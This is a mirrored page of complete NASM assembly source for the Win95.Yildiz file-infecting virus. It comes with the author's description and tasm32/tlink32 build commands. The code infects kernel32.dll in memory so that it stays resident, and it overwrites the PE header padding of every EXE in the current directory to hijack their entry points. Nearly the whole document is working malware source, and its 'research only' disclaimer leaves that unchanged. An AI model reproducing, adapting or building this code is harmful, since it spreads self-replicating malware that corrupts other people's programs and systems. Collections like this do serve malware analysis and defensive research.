mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
337 lines
15 KiB
NASM
337 lines
15 KiB
NASM
; *************************************************************************
|
|
; ******************** ********************
|
|
; ******************** Win95.Yildiz ********************
|
|
; ******************** by ********************
|
|
; ******************** Black Jack ********************
|
|
; ******************** ********************
|
|
; *************************************************************************
|
|
|
|
comment ~
|
|
|
|
NAME: Win95.Yildiz
|
|
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
|
|
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
|
|
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
|
|
SIZE: 323 bytes (but of course infected files won't increase in size)
|
|
|
|
DESCRIPTION: When an infected file is run, the virus takes control. It then
|
|
tries to find the kernel32 base address by a simple algorithm
|
|
which should make it compatible with Win9X and WinME (although I
|
|
haven't tested it with the second one). After that it gets the
|
|
undocumented Win9X API VxDCall0 and uses it to call int 21h. The
|
|
VxDCall0 API is the very first exported API in Win9X; I don't
|
|
know which API is first in WinNT, that's why unpredictable
|
|
results may occur when the virus runs in that OS (I haven't tried
|
|
it out, but of course the virus can't work in NT).
|
|
Then it goes TSR (read more about this a bit later), and infects
|
|
all PE EXE files in the current directory by overwriting the
|
|
unused padding bytes in the PE header with the virus body.
|
|
The memory residency consist in infecting kernel32.dll in memory.
|
|
To do so, it creates a temporary file called "Yildiz." and writes
|
|
the first 4KB of kernel32.dll there. Then this file is infected
|
|
like any other PE file. And finally the content of the infected
|
|
temp file is read back into kernel32 memory. Yep, you have read
|
|
right, by using the int21h with VxDCall0 you can read from a file
|
|
into read-only memory! (This trick was discovered by Murkry/IkX,
|
|
read more about it in the comments to his Darkside virus source,
|
|
published in Xine#3).
|
|
As I have already said, the kernel32 is infected in memory just
|
|
like any other file, this means the entry point is set to the
|
|
virus, no APIs are hooked. As you should know, the entry point
|
|
of a DLL is a init routine that is called whenever the DLL is
|
|
loaded by a program. And since kernel32 is imported by all
|
|
programs, this means for us that whenever a program is run (and
|
|
kernel32 is mapped into the program's address space), our virus
|
|
will infect all PE EXE files in the directory of the program.
|
|
|
|
ASSEMBLE WITH:
|
|
tasm32 /mx /m yildiz.asm
|
|
tlink32 /Tpe /aa yildiz.obj,,, import32.lib
|
|
|
|
there's no need for PEWRSEC or a similar tool, because the
|
|
virus code is supposed to run in read-only memory anyways.
|
|
|
|
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
|
|
Therefore, this source was only written for research and
|
|
education. Please do not spread it. The author can't be hold
|
|
responsible for what you decide to do with this source.
|
|
|
|
~
|
|
; ===========================================================================
|
|
|
|
|
|
virus_size EQU (virus_end - virus_start)
|
|
|
|
Extrn MessageBoxA:Proc ; for first generation only
|
|
Extrn ExitProcess:Proc
|
|
|
|
.386p
|
|
.model flat
|
|
.data
|
|
dd 0 ; dummy data, you know...
|
|
|
|
.code
|
|
virus_start:
|
|
pushad ; save all registers
|
|
|
|
xchg edi, eax ; put delta offset to EDI (EAX=start
|
|
; offset of program by default)
|
|
|
|
mov eax, [esp+8*4] ; EAX=some address inside kernel32
|
|
|
|
sub esp, size stack_frame ; reserve room on stack
|
|
mov esi, esp ; set ESI to our data on the stack
|
|
|
|
search_kernel32:
|
|
xor ax,ax ; we assume the least significant
|
|
; word of the kernel32 base is zero
|
|
cmp word ptr [eax], "ZM" ; is there a MZ header ?
|
|
JE found_kernel32 ; if yes, we found the correct
|
|
; kernel32 base address
|
|
dec eax ; 0BFF80000->0BFF7FFFF, and then the
|
|
; least significant word is zeroed
|
|
JMP search_kernel32 ; check next possible kernel32 base
|
|
|
|
tmp_filename db "Yildiz", 0
|
|
filespec db "*.EXE", 0
|
|
|
|
|
|
found_kernel32:
|
|
mov ebx, [eax+3Ch] ; EBX=kernel32 PE header RVA
|
|
add ebx, eax ; EBX=offset of kernel32 PE header
|
|
|
|
mov ebx, [ebx+120] ; EBX=export table RVA
|
|
mov ebx, [ebx+eax+1Ch] ; EBX=Address array of API RVAs
|
|
mov ebx, [ebx+eax] ; get the first API RVA: VxDCall0
|
|
add ebx, eax ; EBX=Offset VxDCall0 API
|
|
mov [esi.VxDCall0], ebx ; save it
|
|
lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
|
|
; for optimisation reasons, the
|
|
; CALL EBP instruction is just 2 bytes
|
|
|
|
|
|
; ----- GO TSR --------------------------------------------------------------
|
|
|
|
lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
|
|
push edx ; save it on stack
|
|
|
|
push eax ; save kernel32 base address on stack
|
|
|
|
mov ah, 3Ch ; create temp file
|
|
xor ecx, ecx ; no attributes
|
|
call ebp ; call our int 21h procedure
|
|
|
|
xchg ebx, eax ; filehandle to EBX, where it belongs
|
|
|
|
pop edx ; EDX=kernel32 base address
|
|
push edx ; save it again
|
|
|
|
call write_file ; write start of kernel32 to temp file
|
|
|
|
call infect ; infect the temp file
|
|
|
|
pop edx ; EDX=kernel32 base address
|
|
|
|
mov ah, 3Fh ; read infected kernel32 fileststart
|
|
call read_write ; into kernel32 memory
|
|
|
|
mov ah, 3Eh ; close temp file
|
|
call ebp ; call our int 21h procedure
|
|
|
|
pop edx ; EDX=pointer to temp filename
|
|
mov ah, 41h ; delete temp file
|
|
call ebp ; call our int 21h procedure
|
|
|
|
|
|
; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------
|
|
|
|
mov ah, 2Fh ; get DTA
|
|
call ebp ; call our int 21h procedure
|
|
|
|
push es ; save DTA address to stack
|
|
push ebx
|
|
|
|
push ds ; ES=DS (standart data segment)
|
|
pop es
|
|
|
|
mov ah, 1Ah ; set DTA to our data area
|
|
lea edx, [esi.dta] ; DS:EDX=new DTA adress
|
|
call ebp ; call our int 21h procedure
|
|
|
|
mov ah, 4Eh ; find first file
|
|
xor ecx, ecx ; only files with standart attributes
|
|
lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec
|
|
|
|
findfile_loop:
|
|
call ebp ; call our int 21h procedure
|
|
JC all_done ; no more files found?
|
|
|
|
mov ax, 3D02h ; open victim file for read and write
|
|
lea edx, [esi.dta+1Eh] ; DS:EDX=pointer to filename in DTA
|
|
call ebp ; call our int 21h procedure
|
|
|
|
xchg ebx, eax ; handle to EBX, where it belongs
|
|
|
|
call infect ; infect the file
|
|
|
|
mov ah, 3Eh ; close the victim file
|
|
call ebp ; call our int 21h procedure
|
|
|
|
search_on:
|
|
mov ah, 4Fh ; find next file
|
|
JMP findfile_loop
|
|
|
|
|
|
; ----- RESTORE HOST --------------------------------------------------------
|
|
|
|
all_done:
|
|
pop edx ; restore old DTA offset in DS:EDX
|
|
pop ds
|
|
mov ah, 1Ah ; reset DTA to old address
|
|
call ebp ; call our int 21h procedure
|
|
|
|
push es ; DS=ES (standart data segment)
|
|
pop ds
|
|
|
|
add esp, size stack_frame ; remove our data buffer from stack
|
|
|
|
popad ; restore all registers
|
|
|
|
db 05h ; add eax, imm32
|
|
entry_RVA_difference dd (host-virus_start) ; difference between host and
|
|
; virus entrypoint (EAX is virus
|
|
; entrypoint offset by default)
|
|
JMP eax ; jump to host entrypoint
|
|
|
|
; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------
|
|
|
|
exit_infect:
|
|
pop edi ; restore EDI (delta offset)
|
|
RET ; return to caller
|
|
|
|
; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------
|
|
|
|
infect:
|
|
push edi ; save EDI (delta offset)
|
|
|
|
mov edx, esi ; EDX=read/write buffer offset
|
|
mov ah, 3Fh ; read start of file
|
|
call read_write
|
|
|
|
cmp word ptr [esi], "ZM" ; is it an exe file ?
|
|
JNE exit_infect ; cancel infection if not
|
|
|
|
mov ecx, [esi+3Ch] ; ECX=new header RVA
|
|
cmp ecx, 3*1024 ; check if DOS stub is small enough
|
|
; so that all the PE header is in
|
|
; our buffer
|
|
JA exit_infect ; if not, cancel infection
|
|
|
|
lea edi, [esi+ecx] ; EDI=PE header offset in memory
|
|
cmp word ptr [edi], "EP" ; is it an PE file ?
|
|
; (I know that the PE marker is
|
|
; actually a dword, but by only
|
|
; checking one word we save a byte
|
|
; of virus code)
|
|
JNE exit_infect ; cancel infection if not
|
|
|
|
cmp dword ptr [edi+28h], 4096 ; check if entrypoint RVA is in the
|
|
; first 4 KB of the file
|
|
JB exit_infect ; if yes, the file must be already
|
|
; infected, cancel infection
|
|
|
|
add ecx, 24 ; add size of FileHeader
|
|
movzx eax, word ptr [edi+14h] ; EAX=size of Optional header
|
|
add ecx, eax ; add it to ECX
|
|
movzx eax, word ptr [edi+6] ; EAX=NumberOfSections
|
|
imul eax, eax, 40 ; get size of section headers to EAX
|
|
add ecx, eax ; add it to ECX, now it points to the
|
|
; end of the used part of the PE
|
|
; header, where the virus will be.
|
|
|
|
mov edx, ecx ; EDX=virus RVA
|
|
xchg dword ptr [edi+28h], edx ; set it as new entrypoint RVA
|
|
sub edx, ecx ; EDX=difference between old and new
|
|
; entrypoint RVA
|
|
|
|
mov eax, [edi+54h] ; EAX=SizeOfHeaders (aligned to
|
|
; FileAlign)
|
|
|
|
lea edi, [esi+ecx] ; EDI=virus offset in buffer
|
|
|
|
sub eax, ecx ; EAX=free room for us to use
|
|
mov cx, virus_size ; ECX=size of virus (the most
|
|
; significant word of ECX should be 0)
|
|
cmp eax, ecx ; enough room for the virus ?
|
|
JL exit_infect ; cancel infection if not
|
|
|
|
pop eax ; EAX=delta offset
|
|
push eax ; save it again to stack
|
|
xchg esi, eax ; ESI=delta offset, EAX=data buffer
|
|
|
|
cld ; clear direction flag
|
|
rep movsb ; move virus body into buffer
|
|
|
|
xchg esi, eax ; ESI=pointer to our data on stack
|
|
|
|
mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference
|
|
; between old and new entrypoint
|
|
|
|
pop edi ; restore EDI (delta offset)
|
|
|
|
mov edx, esi ; EDX=offset of read/write buffer
|
|
|
|
; now write modified start of file,
|
|
; then return to caller
|
|
|
|
write_file:
|
|
mov ah, 40h ; write to file
|
|
|
|
read_write:
|
|
xor ecx, ecx ; ECX=0
|
|
pushad ; save all registers
|
|
|
|
xor eax, eax ; EAX=4200h (set filepointer from
|
|
mov ah, 42h ; start of the file
|
|
cdq ; CX:DX=0 (new filepointer)
|
|
call ebp ; call our int 21h procedure
|
|
|
|
popad ; restore all registers
|
|
|
|
mov ch, 10h ; ECX=4096 (size of read/write buffer)
|
|
|
|
; now execute int 21h and return
|
|
|
|
int21h: ; protected mode int21
|
|
push ecx ; push parameters
|
|
push eax
|
|
push 2A0010h ; VWIN32_Int21Dispatch function
|
|
call ss:[esi.VxDCall0] ; call VxDCall0 API
|
|
ret
|
|
|
|
virus_end:
|
|
|
|
; This is our data that will be stored on the stack:
|
|
|
|
stack_frame struc
|
|
buffer db 4096 dup(?)
|
|
dta db 43 dup(?)
|
|
VxDCall0 dd ?
|
|
stack_frame ends
|
|
|
|
|
|
host:
|
|
push 0
|
|
push offset caption
|
|
push offset message
|
|
push 0
|
|
call MessageBoxA
|
|
|
|
push 0
|
|
call ExitProcess
|
|
|
|
caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
|
|
message db "first generation dropper", 0
|
|
|
|
end virus_start
|